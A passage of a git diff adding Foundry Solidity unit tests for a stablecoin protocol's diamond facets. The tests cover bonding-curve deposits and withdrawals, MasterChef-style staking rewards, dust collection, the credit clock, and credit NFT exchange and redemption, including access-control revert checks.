uint256 collateralDeposited; + uint256 connWeight; + connectorWeight = uint32(bound(connWeight, 1, 1000000)); + baseY = bound(baseY, 1, 1000000); + + vm.startPrank(admin); + bondingCurveFacet.setParams(connectorWeight, baseY); + + bondingCurveFacet.deposit(collateralDeposited, secondAccount); + + uint256 _amount = bound(baseY, 0, collateralDeposited); + + vm.expectEmit(true, false, false, true); + emit Withdraw(collateralDeposited); + + bondingCurveFacet.withdraw(_amount); + vm.stopPrank(); + + uint256 poolBalance = bondingCurveFacet.poolBalance(); + uint256 balance = poolBalance - _amount; + + assertEq(bondingCurveFacet.poolBalance(), balance); + assertEq( + dollarToken.balanceOf(managerFacet.treasuryAddress()), + _amount + ); + } + + function testPurchaseTargetAmountShouldRevertIfSupplyZero() public { + uint256 collateralDeposited; + uint256 connWeight; + uint32 connectorWeight = uint32(bound(connWeight, 1, MAX_WEIGHT)); + + vm.expectRevert("ERR_INVALID_SUPPLY"); + bondingCurveFacet.purchaseTargetAmount( + collateralDeposited, + connectorWeight, + 1, + 0 + ); + } + + function testPurchaseTargetAmountShouldRevertIfParamsNotSet() public { + uint256 collateralDeposited; + uint256 bal; + uint256 poolBalance = bound(bal, 1, 1000000); + + vm.expectRevert("ERR_INVALID_WEIGHT"); + bondingCurveFacet.purchaseTargetAmount( + collateralDeposited, + 0, + 1, + poolBalance + ); + } + + function testPurchaseTargetAmount(uint32 connWeight, uint256 bal) public { + // Calculate expected result + uint256 tokensDeposited; + uint256 tokenIds; + uint32 connectorWeight = uint32(bound(connWeight, 1, MAX_WEIGHT)); + uint256 poolBalance = bound(bal, 1, 1000000); + + uint256 expected = (tokenIds * tokensDeposited) / poolBalance; + + // 1. Should do nothing if tokens deposited is zero + vm.prank(secondAccount); + bondingCurveFacet.purchaseTargetAmount( + 0, + connectorWeight, + 1, + poolBalance + ); + + // 2. Special case if max weight is 100% + vm.prank(thirdAccount); + uint256 result = bondingCurveFacet.purchaseTargetAmount( + tokensDeposited, + MAX_WEIGHT, + tokenIds, + poolBalance + ); + assertEq(result, expected); + } +} diff --git a/packages/contracts/test/diamond/facets/ChefFacet.t.sol b/packages/contracts/test/diamond/facets/ChefFacet.t.sol new file mode 100644 index 000000000..6f3d47780 --- /dev/null +++ b/packages/contracts/test/diamond/facets/ChefFacet.t.sol @@ -0,0 +1,374 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapMetaNG} from "../../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {MockCurveStableSwapMetaNG} from "../../../src/dollar/mocks/MockCurveStableSwapMetaNG.sol"; +import "../DiamondTestSetup.sol"; +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; +import {BondingShare} from "../../../src/dollar/mocks/MockShareV1.sol"; +import {IERC20Ubiquity} from "../../../src/dollar/interfaces/IERC20Ubiquity.sol"; +import {ICurveFactory} from "../../../src/dollar/interfaces/ICurveFactory.sol"; + +import {DollarMintCalculatorFacet} from "../../../src/dollar/facets/DollarMintCalculatorFacet.sol"; +import {UbiquityCreditToken} from "../../../src/dollar/core/UbiquityCreditToken.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; +import {MockCurveFactory} from "../../../src/dollar/mocks/MockCurveFactory.sol"; + +contract ZeroStateChef is DiamondTestSetup { + MockERC20 crvToken; + address curve3CrvToken; + uint256 creditNftLengthBlocks = 100; + address treasury = address(0x3); + address secondAccount = address(0x4); + address thirdAccount = address(0x5); + address fourthAccount = address(0x6); + address fifthAccount = address(0x7); + address stakingZeroAccount = address(0x8); + address stakingMinAccount = address(0x9); + address stakingMaxAccount = address(0x10); + + string uri = + "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/"; + + event Deposit( + address indexed user, + uint256 amount, + uint256 indexed stakingShareId + ); + + event Withdraw( + address indexed user, + uint256 amount, + uint256 indexed stakingShareId + ); + + ICurveStableSwapMetaNG metapool; + address metaPoolAddress; + + event GovernancePerBlockModified(uint256 indexed governancePerBlock); + + event MinPriceDiffToUpdateMultiplierModified( + uint256 indexed minPriceDiffToUpdateMultiplier + ); + + function setUp() public virtual override { + super.setUp(); + crvToken = new MockERC20("3 CRV", "3CRV", 18); + curve3CrvToken = address(crvToken); + metaPoolAddress = address( + new MockCurveStableSwapMetaNG(address(dollarToken), curve3CrvToken) + ); + + vm.startPrank(owner); + + address[7] memory mintings = [ + admin, + address(diamond), + owner, + fourthAccount, + stakingZeroAccount, + stakingMinAccount, + stakingMaxAccount + ]; + + for (uint256 i = 0; i < mintings.length; ++i) { + deal(address(dollarToken), mintings[i], 10000e18); + } + + address[5] memory crvDeal = [ + address(diamond), + owner, + stakingMaxAccount, + stakingMinAccount, + fourthAccount + ]; + vm.stopPrank(); + for (uint256 i; i < crvDeal.length; ++i) { + crvToken.mint(crvDeal[i], 10000e18); + } + + vm.startPrank(admin); + managerFacet.setStableSwapMetaPoolAddress(address(metaPoolAddress)); + managerFacet.setStakingShareAddress(address(stakingShare)); + stakingShare.setApprovalForAll(address(diamond), true); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(stakingShare) + ); + + ICurveFactory curvePoolFactory = ICurveFactory(new MockCurveFactory()); + address curve3CrvBasePool = address( + new MockCurveStableSwapMetaNG(address(diamond), address(crvToken)) + ); + managerFacet.deployStableSwapPool( + address(curvePoolFactory), + curve3CrvBasePool, + curve3CrvToken, + 10, + 50000000 + ); + // + metapool = ICurveStableSwapMetaNG( + managerFacet.stableSwapMetaPoolAddress() + ); + metapool.transfer(address(stakingFacet), 100e18); + metapool.transfer(secondAccount, 1000e18); + vm.stopPrank(); + + vm.startPrank(admin); + + accessControlFacet.grantRole(GOVERNANCE_TOKEN_MANAGER_ROLE, admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(diamond)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + address(diamond) + ); + managerFacet.setCreditTokenAddress(address(creditToken)); + + vm.stopPrank(); + + vm.startPrank(stakingMinAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + + vm.startPrank(stakingMaxAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + vm.startPrank(fourthAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + + uint256[2] memory amounts_ = [uint256(100e18), uint256(100e18)]; + + uint256 dyuAD2LP = metapool.calc_token_amount(amounts_, true); + + vm.prank(stakingMinAccount); + metapool.add_liquidity( + amounts_, + (dyuAD2LP * 99) / 100, + stakingMinAccount + ); + + vm.prank(stakingMaxAccount); + metapool.add_liquidity( + amounts_, + (dyuAD2LP * 99) / 100, + stakingMaxAccount + ); + + vm.prank(fourthAccount); + metapool.add_liquidity(amounts_, (dyuAD2LP * 99) / 100, fourthAccount); + + vm.startPrank(admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + stakingFacet.setBlockCountInAWeek(420); + + vm.stopPrank(); + + vm.prank(secondAccount); + stakingShare.setApprovalForAll(address(diamond), true); + + vm.prank(thirdAccount); + stakingShare.setApprovalForAll(address(diamond), true); + } +} + +contract ZeroStateChefTest is ZeroStateChef { + function testSetGovernancePerBlock(uint256 governancePerBlock) public { + vm.expectEmit(true, false, false, true, address(chefFacet)); + emit GovernancePerBlockModified(governancePerBlock); + vm.prank(admin); + chefFacet.setGovernancePerBlock(governancePerBlock); + assertEq(chefFacet.governancePerBlock(), governancePerBlock); + } + + // test setGovernancePerBlock function should revert if not admin + function testSetGovernancePerBlock_ShouldRevertWhenNotAdmin() public { + vm.prank(secondAccount); + vm.expectRevert("MasterChef: not Governance Token manager"); + chefFacet.setGovernancePerBlock(100); + } + + function testSetGovernanceDiv(uint256 div) public { + vm.prank(admin); + chefFacet.setGovernanceShareForTreasury(div); + assertEq(chefFacet.governanceDivider(), div); + } + + function testGetInitialGovernanceMul() public { + vm.prank(admin); + assertEq(chefFacet.governanceMultiplier(), 1e18); + } + + // test setGovernanceShareForTreasury function should revert if not admin + function testSetGovernanceShareForTreasury_ShouldRevertWhenNotAdmin() + public + { + vm.prank(secondAccount); + vm.expectRevert("MasterChef: not Governance Token manager"); + chefFacet.setGovernanceShareForTreasury(100); + } + + function testSetMinPriceDiff(uint256 minPriceDiff) public { + vm.expectEmit(true, false, false, true, address(chefFacet)); + emit MinPriceDiffToUpdateMultiplierModified(minPriceDiff); + vm.prank(admin); + chefFacet.setMinPriceDiffToUpdateMultiplier(minPriceDiff); + assertEq(chefFacet.minPriceDiffToUpdateMultiplier(), minPriceDiff); + } + + // test setMinPriceDiffToUpdateMultiplier function should revert if not admin + function testSetMinPriceDiffToUpdateMultiplier_ShouldRevertWhenNotAdmin() + public + { + vm.prank(secondAccount); + vm.expectRevert("MasterChef: not Governance Token manager"); + chefFacet.setMinPriceDiffToUpdateMultiplier(100); + } + + function testDepositFromZeroState(uint256 lpAmount) public { + uint256 LPBalance = metapool.balanceOf(fourthAccount); + lpAmount = bound(lpAmount, 1, LPBalance); + // lock for 10 weeks + uint256 shares = stakingFormulasFacet.durationMultiply( + lpAmount, + 10, + stakingFacet.stakingDiscountMultiplier() + ); + uint256 id = stakingShare.totalSupply() + 1; + + uint256 allowance = metapool.allowance( + fourthAccount, + address(chefFacet) + ); + + uint256 fourthBalance = metapool.balanceOf(fourthAccount); + + vm.prank(fourthAccount); + metapool.approve(address(diamond), fourthBalance); + allowance = metapool.allowance(fourthAccount, address(chefFacet)); + vm.expectEmit(true, true, true, true, address(chefFacet)); + + emit Deposit(fourthAccount, shares, id); + vm.prank(fourthAccount); + stakingFacet.deposit(lpAmount, 10); + + (, uint256 accGovernance) = chefFacet.pool(); + uint256[2] memory info1 = [shares, (shares * accGovernance) / 1e12]; + uint256[2] memory info2 = chefFacet.getStakingShareInfo(id); + assertEq(info1[0], info2[0]); + assertEq(info1[1], info2[1]); + } +} + +contract DepositStateChef is ZeroStateChef { + uint256 fourthBal; + uint256 fourthID; + uint256 shares; + + function setUp() public virtual override { + super.setUp(); + assertEq(chefFacet.totalShares(), 0); + fourthBal = metapool.balanceOf(fourthAccount); + shares = stakingFormulasFacet.durationMultiply( + fourthBal, + 1, + stakingFacet.stakingDiscountMultiplier() + ); + vm.startPrank(admin); + fourthID = stakingShare.totalSupply() + 1; + vm.stopPrank(); + vm.startPrank(fourthAccount); + metapool.approve(address(diamond), fourthBal); + stakingFacet.deposit(fourthBal, 1); + assertEq(stakingShare.totalSupply(), fourthID); + assertEq(stakingShare.balanceOf(fourthAccount, fourthID), 1); + + vm.stopPrank(); + } +} + +contract DepositStateChefTest is DepositStateChef { + function testTotalShares() public { + assertEq(chefFacet.totalShares(), shares); + } + + function testRemoveLiquidity() public { + assertEq(chefFacet.totalShares(), shares); + + // advance the block number to staking time so the withdraw is possible + uint256 currentBlock = block.number; + uint256 blocks = 1000; + uint256 amount = 10e18; + assertEq(chefFacet.totalShares(), shares); + + uint256 preBal = governanceToken.balanceOf(fourthAccount); + (uint256 lastRewardBlock, ) = chefFacet.pool(); + // currentBlock = block.number; + vm.roll(currentBlock + blocks); + uint256 multiplier = (block.number - lastRewardBlock) * 1e18; + uint256 governancePerBlock = 10e18; + uint256 reward = ((multiplier * governancePerBlock) / 1e18); + uint256 governancePerShare = (reward * 1e12) / shares; + assertEq(chefFacet.totalShares(), shares); + // we have to bound the amount of LP token to withdraw to max what account four has deposited + amount = bound(amount, 1, fourthBal); + assertEq(chefFacet.totalShares(), shares); + + // calculate the reward in governance token for the user based on all his shares + uint256 userReward = (shares * governancePerShare) / 1e12; + vm.prank(fourthAccount); + stakingFacet.removeLiquidity(amount, fourthID); + assertEq(preBal + userReward, 9999999999999927918000); + } + + function testGetRewards() public { + uint256 blocks = 10; + + uint256 currentBlock = block.number; + vm.roll(currentBlock + blocks); + vm.prank(fourthAccount); + uint256 rewardSent = chefFacet.getRewards(1); + assertEq(rewardSent, 99999999999918018000); + } + + function testCannotGetRewardsOtherAccount() public { + vm.expectRevert("MS: caller is not owner"); + vm.prank(stakingMinAccount); + chefFacet.getRewards(1); + } + + function testPendingGovernance(uint256 blocks) public { + blocks = bound(blocks, 1, 2 ** 128 - 1); + + (uint256 lastRewardBlock, ) = chefFacet.pool(); + uint256 currentBlock = block.number; + vm.roll(currentBlock + blocks); + uint256 multiplier = (block.number - lastRewardBlock) * 1e18; + uint256 reward = ((multiplier * 10e18) / 1e18); + uint256 governancePerShare = (reward * 1e12) / shares; + uint256 userPending = (shares * governancePerShare) / 1e12; + + uint256 pendingGovernance = chefFacet.pendingGovernance(1); + assertEq(userPending, pendingGovernance); + } + + function testGetStakingShareInfo() public { + uint256[2] memory info1 = [shares, 0]; + uint256[2] memory info2 = chefFacet.getStakingShareInfo(1); + assertEq(info1[0], info2[0]); + assertEq(info1[1], info2[1]); + } +} diff --git a/packages/contracts/test/diamond/facets/CollectableDustFacet.t.sol b/packages/contracts/test/diamond/facets/CollectableDustFacet.t.sol new file mode 100644 index 000000000..5d9fd254e --- /dev/null +++ b/packages/contracts/test/diamond/facets/CollectableDustFacet.t.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {AccessControlFacet} from "../../../src/dollar/facets/AccessControlFacet.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import "../DiamondTestSetup.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; + +contract CollectableDustFacetTest is DiamondTestSetup { + address mock_sender = address(0x111); + address mock_recipient = address(0x222); + address mock_operator = address(0x333); + address stakingManager = address(0x414); + MockERC20 mockToken; + + event DustSent(address _to, address token, uint256 amount); + event ProtocolTokenAdded(address _token); + event ProtocolTokenRemoved(address _token); + + function setUp() public virtual override { + super.setUp(); + + vm.startPrank(admin); + + accessControlFacet.grantRole(STAKING_MANAGER_ROLE, stakingManager); + + // deploy mock token + mockToken = new MockERC20("Mock", "MCK", 18); + + // mint MCK + mockToken.mint(address(diamond), 100); + vm.stopPrank(); + } + + // test sendDust function should revert when token is part of the protocol + function testSendDust_ShouldRevertWhenPartOfTheProtocol() public { + vm.startPrank(admin); + vm.expectEmit(true, true, true, true); + emit ProtocolTokenAdded(address(diamond)); + collectableDustFacet.addProtocolToken(address(diamond)); + // mint dollar + + dollarToken.mint(address(diamond), 100); + vm.stopPrank(); + vm.prank(stakingManager); + vm.expectRevert("collectable-dust::token-is-part-of-the-protocol"); + collectableDustFacet.sendDust(mock_recipient, address(diamond), 100); + } + + // test sendDust function should work only for staking manager + function testSendDust_ShouldWork() public { + assertEq(mockToken.balanceOf(address(diamond)), 100); + vm.prank(stakingManager); + vm.expectEmit(true, true, true, true); + emit DustSent(mock_recipient, address(mockToken), 100); + collectableDustFacet.sendDust(mock_recipient, address(mockToken), 100); + assertEq(mockToken.balanceOf(mock_recipient), 100); + } + + // test sendDust function should work when token is no longer part of the protocol + function testSendDust_ShouldWorkWhenNotPartOfTheProtocol() public { + vm.startPrank(admin); + + collectableDustFacet.addProtocolToken(address(diamond)); + vm.expectEmit(true, true, true, true); + emit ProtocolTokenRemoved(address(diamond)); + collectableDustFacet.removeProtocolToken(address(diamond)); + // mint dollar + + dollarToken.mint(address(diamond), 100); + vm.stopPrank(); + assertEq(dollarToken.balanceOf(address(diamond)), 100); + vm.prank(stakingManager); + + collectableDustFacet.sendDust( + mock_recipient, + address(dollarToken), + 100 + ); + assertEq(dollarToken.balanceOf(address(diamond)), 0); + assertEq(dollarToken.balanceOf(address(mock_recipient)), 100); + } +} diff --git a/packages/contracts/test/diamond/facets/CreditClockFacet.t.sol b/packages/contracts/test/diamond/facets/CreditClockFacet.t.sol new file mode 100644 index 000000000..0b5b50cdc --- /dev/null +++ b/packages/contracts/test/diamond/facets/CreditClockFacet.t.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {CreditClockFacet} from "../../../src/dollar/facets/CreditClockFacet.sol"; +import "abdk/ABDKMathQuad.sol"; +import "../DiamondTestSetup.sol"; + +contract CreditClockFacetTest is DiamondTestSetup { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + function setUp() public override { + super.setUp(); + } + + function testSetManager_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("Manager: Caller is not admin"); + creditClockFacet.setManager(address(0x123abc)); + } + + function testSetManager_ShouldSetDiamond() public { + address newDiamond = address(0x123abc); + vm.prank(admin); + creditClockFacet.setManager(newDiamond); + require(creditClockFacet.getManager() == newDiamond); + } + + function testGetManager_ShouldGet() public view { + creditClockFacet.getManager(); + } + + function testSetRatePerBlock_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("Manager: Caller is not admin"); + creditClockFacet.setRatePerBlock(uint256(1).fromUInt()); + } + + function testSetRatePerBlock_Default() public { + vm.prank(admin); + creditClockFacet.setRatePerBlock(uint256(0).fromUInt()); + } + + function testGetRate_ShouldRevert_WhenBlockIsInThePast() public { + vm.roll(block.number + 10); + vm.expectRevert("CreditClock: block number must not be in the past."); + creditClockFacet.getRate(block.number - 1); + } +} diff --git a/packages/contracts/test/diamond/facets/CreditNftManagerFacet.t.sol b/packages/contracts/test/diamond/facets/CreditNftManagerFacet.t.sol new file mode 100644 index 000000000..47e0d8ce8 --- /dev/null +++ b/packages/contracts/test/diamond/facets/CreditNftManagerFacet.t.sol @@ -0,0 +1,396 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import {CreditNftManagerFacet} from "../../../src/dollar/facets/CreditNftManagerFacet.sol"; +import {CreditRedemptionCalculatorFacet} from "../../../src/dollar/facets/CreditRedemptionCalculatorFacet.sol"; +import {DollarMintCalculatorFacet} from "../../../src/dollar/facets/DollarMintCalculatorFacet.sol"; +import {DollarMintExcessFacet} from "../../../src/dollar/facets/DollarMintExcessFacet.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import {IERC20Ubiquity} from "../../../src/dollar/interfaces/IERC20Ubiquity.sol"; +import {CreditNft} from "../../../src/dollar/core/CreditNft.sol"; +import {UbiquityCreditToken} from "../../../src/dollar/core/UbiquityCreditToken.sol"; + +contract CreditNftManagerFacetTest is DiamondTestSetup { + CreditNft _creditNft; + address dollarManagerAddress; + address dollarTokenAddress; + address creditCalculatorAddress; + address creditNftManagerAddress; + uint256 creditNftLengthBlocks = 100; + address twapOracleAddress; + address creditNftAddress; + address governanceTokenAddress; + address creditTokenAddress; + address dollarMintCalculatorAddress; + + function setUp() public virtual override { + super.setUp(); + vm.prank(admin); + dollarToken.mint(admin, 10000e18); + uint256 admSupply = dollarToken.balanceOf(admin); + assertEq(admSupply, 10000e18); + + _creditNft = creditNft; + vm.prank(admin); + managerFacet.setCreditNftAddress(address(_creditNft)); + + twapOracleAddress = address(diamond); + dollarTokenAddress = address(dollarToken); + creditNftManagerAddress = address(diamond); + creditCalculatorAddress = managerFacet.creditCalculatorAddress(); + creditNftAddress = address(_creditNft); + governanceTokenAddress = managerFacet.governanceTokenAddress(); + // deploy credit token + UbiquityCreditToken _creditToken = creditToken; + creditTokenAddress = address(_creditToken); + vm.prank(admin); + managerFacet.setCreditTokenAddress(creditTokenAddress); + + // set this contract as minter + vm.startPrank(admin); + accessControlFacet.grantRole(DOLLAR_TOKEN_MINTER_ROLE, address(this)); + accessControlFacet.grantRole(CREDIT_TOKEN_MINTER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(diamond)); + vm.stopPrank(); + } + + function mockTwapFuncs(uint256 _twapPrice) public { + MockCurveStableSwapMetaNG(managerFacet.stableSwapMetaPoolAddress()) + .updateMockParams(_twapPrice); + } + + function mockDollarMintCalcFuncs(uint256 _dollarsToMint) public { + vm.mockCall( + address(diamond), + abi.encodeWithSelector( + DollarMintCalculatorFacet.getDollarsToMint.selector + ), + abi.encode(_dollarsToMint) + ); + } + + function test_setExpiredCreditNftConversionRate() public { + vm.expectRevert("Caller is not a Credit NFT manager"); + creditNftManagerFacet.setExpiredCreditNftConversionRate(100); + + vm.prank(admin); + creditNftManagerFacet.setExpiredCreditNftConversionRate(100); + assertEq(creditNftManagerFacet.expiredCreditNftConversionRate(), 100); + } + + function test_setCreditNftLength() public { + vm.expectRevert("Caller is not a Credit NFT manager"); + creditNftManagerFacet.setCreditNftLength(100); + + vm.prank(admin); + creditNftManagerFacet.setCreditNftLength(100); + assertEq(creditNftManagerFacet.creditNftLengthBlocks(), 100); + } + + function test_exchangeDollarsForCreditNft() public { + mockTwapFuncs(2e18); + vm.expectRevert("Price must be below 1 to mint Credit NFT"); + creditNftManagerFacet.exchangeDollarsForCreditNft(100); + + mockTwapFuncs(5e17); + address mockSender = address(0x123); + vm.roll(10000); + // Mint some dollarTokens to mockSender and then approve all + dollarToken.mint(mockSender, 10000e18); + vm.startPrank(mockSender); + + dollarToken.approve(creditNftManagerAddress, 10000e18); + + uint256 amountCreditNftToMint = creditNftManagerFacet + .getCreditNftReturnedForDollars(100); + uint256 expiryBlockNumber = creditNftManagerFacet + .exchangeDollarsForCreditNft(100); + assertEq(expiryBlockNumber, 10000 + creditNftLengthBlocks); + assertEq(amountCreditNftToMint, 100); + } + + function test_exchangeDollarsForCreditRevertsIfPriceHigherThan1Ether() + public + { + mockTwapFuncs(2e18); + vm.expectRevert("Price must be below 1 to mint Credit"); + creditNftManagerFacet.exchangeDollarsForCredit(100); + } + + function test_exchangeDollarsForCreditWorks() public { + mockTwapFuncs(5e17); + address mockSender = address(0x123); + vm.roll(10000); // Mint some dollarTokens to mockSender and then approve all + dollarToken.mint(mockSender, 10000e18); + vm.startPrank(mockSender); + + dollarToken.approve(creditNftManagerAddress, 10000e18); + + uint256 creditAmount = creditNftManagerFacet.exchangeDollarsForCredit( + 100 + ); + assertEq(creditAmount, 100); + + vm.roll(10000); + uint256 amountCreditToMint = creditNftManagerFacet + .getCreditReturnedForDollars(100); + assertEq(amountCreditToMint, 100); + } + + function test_burnExpiredCreditNftForGovernanceRevertsIfNotExpired() + public + { + vm.roll(1000); + vm.expectRevert("Credit NFT has not expired"); + creditNftManagerFacet.burnExpiredCreditNftForGovernance(2000, 1e18); + } + + function test_burnExpiredCreditNftForGovernanceRevertsIfNotEnoughBalance() + public + { + address mockMessageSender = address(0x123); + vm.prank(admin); + creditNft.mintCreditNft(mockMessageSender, 100, 500); + vm.roll(1000); + vm.prank(mockMessageSender); + vm.expectRevert("User not enough Credit NFT"); + creditNftManagerFacet.burnExpiredCreditNftForGovernance(500, 1e18); + } + + function test_burnExpiredCreditNftForGovernanceWorks() public { + address mockMessageSender = address(0x123); + uint256 expiryBlockNumber = 500; + vm.startPrank(admin); + creditNft.mintCreditNft(mockMessageSender, 2e18, expiryBlockNumber); + accessControlFacet.grantRole( + keccak256("GOVERNANCE_TOKEN_MINTER_ROLE"), + creditNftManagerAddress + ); + vm.stopPrank(); + vm.roll(1000); + vm.startPrank(mockMessageSender); + creditNft.setApprovalForAll(address(diamond), true); + creditNftManagerFacet.burnExpiredCreditNftForGovernance( + expiryBlockNumber, + 1e18 + ); + vm.stopPrank(); + uint256 governanceBalance = IERC20Ubiquity(governanceTokenAddress) + .balanceOf(mockMessageSender); + assertEq(governanceBalance, 5e17); + } + + function test_burnCreditNftForCreditRevertsIfExpired() public { + vm.warp(1000); + vm.expectRevert("Credit NFT has expired"); + creditNftManagerFacet.burnCreditNftForCredit(500, 1e18); + } + + function test_burnCreditNftForCreditRevertsIfNotEnoughBalance() public { + vm.warp(1000); + vm.expectRevert("User not enough Credit NFT"); + creditNftManagerFacet.burnCreditNftForCredit(1001, 1e18); + } + + function test_burnCreditNftForCreditWorks() public { + address mockMessageSender = address(0x123); + uint256 expiryBlockNumber = 500; + vm.startPrank(admin); + + creditNft.mintCreditNft(mockMessageSender, 2e18, expiryBlockNumber); + accessControlFacet.grantRole( + keccak256("GOVERNANCE_TOKEN_MINTER_ROLE"), + creditNftManagerAddress + ); + vm.stopPrank(); + vm.startPrank(mockMessageSender); + vm.warp(expiryBlockNumber - 1); + creditNft.setApprovalForAll(address(diamond), true); + creditNftManagerFacet.burnCreditNftForCredit(expiryBlockNumber, 1e18); + vm.stopPrank(); + uint256 redeemBalance = creditToken.balanceOf(mockMessageSender); + assertEq(redeemBalance, 1e18); + } + + function test_burnCreditTokensForDollarsRevertsIfPriceLowerThan1Ether() + public + { + mockTwapFuncs(5e17); + vm.expectRevert("Price must be above 1"); + creditNftManagerFacet.burnCreditTokensForDollars(100); + } + + function test_burnCreditTokensForDollarsIfNotEnoughBalance() public { + mockTwapFuncs(2e18); + vm.expectRevert("User doesn't have enough Credit pool tokens."); + creditNftManagerFacet.burnCreditTokensForDollars(100); + } + + function test_burnCreditTokensForDollarsWorks() public { + mockTwapFuncs(2e18); + mockDollarMintCalcFuncs(1e18); + address account1 = address(0x123); + UbiquityCreditToken(creditTokenAddress).mint(account1, 100e18); + vm.prank(account1); + uint256 unredeemed = creditNftManagerFacet.burnCreditTokensForDollars( + 10e18 + ); + assertEq(unredeemed, 10e18 - 1e18); + } + + function test_redeemCreditNftRevertsIfPriceLowerThan1Ether() public { + mockTwapFuncs(5e17); + vm.expectRevert("Price must be above 1 to redeem Credit NFT"); + creditNftManagerFacet.redeemCreditNft(123123123, 100); + } + + function test_redeemCreditNftRevertsIfCreditNftExpired() public { + mockTwapFuncs(2e18); + vm.roll(10000); + vm.expectRevert("Credit NFT has expired"); + creditNftManagerFacet.redeemCreditNft(5555, 100); + } + + function test_redeemCreditNftRevertsIfNotEnoughBalance() public { + vm.startPrank(admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(this) + ); + vm.stopPrank(); + + mockTwapFuncs(2e18); + address account1 = address(0x123); + uint256 expiryBlockNumber = 123123; + creditNft.mintCreditNft(account1, 100, expiryBlockNumber); + vm.expectRevert("User not enough Credit NFT"); + vm.prank(account1); + vm.roll(expiryBlockNumber - 1); + creditNftManagerFacet.redeemCreditNft(expiryBlockNumber, 200); + } + + function test_redeemCreditNftRevertsIfNotEnoughDollars() public { + vm.startPrank(admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(this) + ); + vm.stopPrank(); + + mockTwapFuncs(2e18); + address account1 = address(0x123); + uint256 expiryBlockNumber = 123123; + creditNft.mintCreditNft(account1, 100, expiryBlockNumber); + UbiquityCreditToken(creditTokenAddress).mint( + creditNftManagerAddress, + 20000e18 + ); + + // set excess dollar distributor for creditNftAddress + vm.mockCall( + address(diamond), + abi.encodeWithSelector( + DollarMintExcessFacet.distributeDollars.selector + ), + abi.encode() + ); + + vm.prank(account1); + vm.expectRevert("There aren't enough Dollar to redeem currently"); + vm.roll(expiryBlockNumber - 1); + creditNftManagerFacet.redeemCreditNft(expiryBlockNumber, 99); + } + + function test_redeemCreditNftRevertsIfZeroAmountOfDollars() public { + vm.startPrank(admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(this) + ); + vm.stopPrank(); + + mockTwapFuncs(2e18); + mockDollarMintCalcFuncs(0); + address account1 = address(0x123); + uint256 expiryBlockNumber = 123123; + creditNft.mintCreditNft(account1, 100, expiryBlockNumber); + // MockAutoRedeem(creditTokenAddress).mint(creditNftManagerAddress, 20000e18); + + // set excess dollar distributor for creditNftAddress + + vm.mockCall( + address(diamond), + abi.encodeWithSelector( + DollarMintExcessFacet.distributeDollars.selector + ), + abi.encode() + ); + + vm.prank(account1); + vm.expectRevert("There aren't any Dollar to redeem currently"); + vm.roll(expiryBlockNumber - 1); + creditNftManagerFacet.redeemCreditNft(expiryBlockNumber, 99); + } + + function test_redeemCreditNftWorks() public { + vm.startPrank(admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(this) + ); + vm.stopPrank(); + + mockTwapFuncs(2e18); + mockDollarMintCalcFuncs(20000e18); + address account1 = address(0x123); + uint256 expiryBlockNumber = 123123; + creditNft.mintCreditNft(account1, 100, expiryBlockNumber); + creditToken.mint(creditNftManagerAddress, 10000e18); + + // set excess dollar distributor for debtCouponAddress + vm.mockCall( + address(diamond), + abi.encodeWithSelector( + DollarMintExcessFacet.distributeDollars.selector + ), + abi.encode() + ); + vm.startPrank(account1); + creditNft.setApprovalForAll(address(diamond), true); + vm.roll(expiryBlockNumber - 1); + uint256 unredeemedCreditNft = creditNftManagerFacet.redeemCreditNft( + expiryBlockNumber, + 99 + ); + vm.stopPrank(); + + assertEq(unredeemedCreditNft, 0); + } + + function test_mintClaimableDollars() public { + mockDollarMintCalcFuncs(50); + // set excess dollar distributor for creditNftAddress + + vm.mockCall( + address(diamond), + abi.encodeWithSelector( + DollarMintExcessFacet.distributeDollars.selector + ), + abi.encode() + ); + + uint256 beforeBalance = dollarToken.balanceOf(creditNftManagerAddress); + 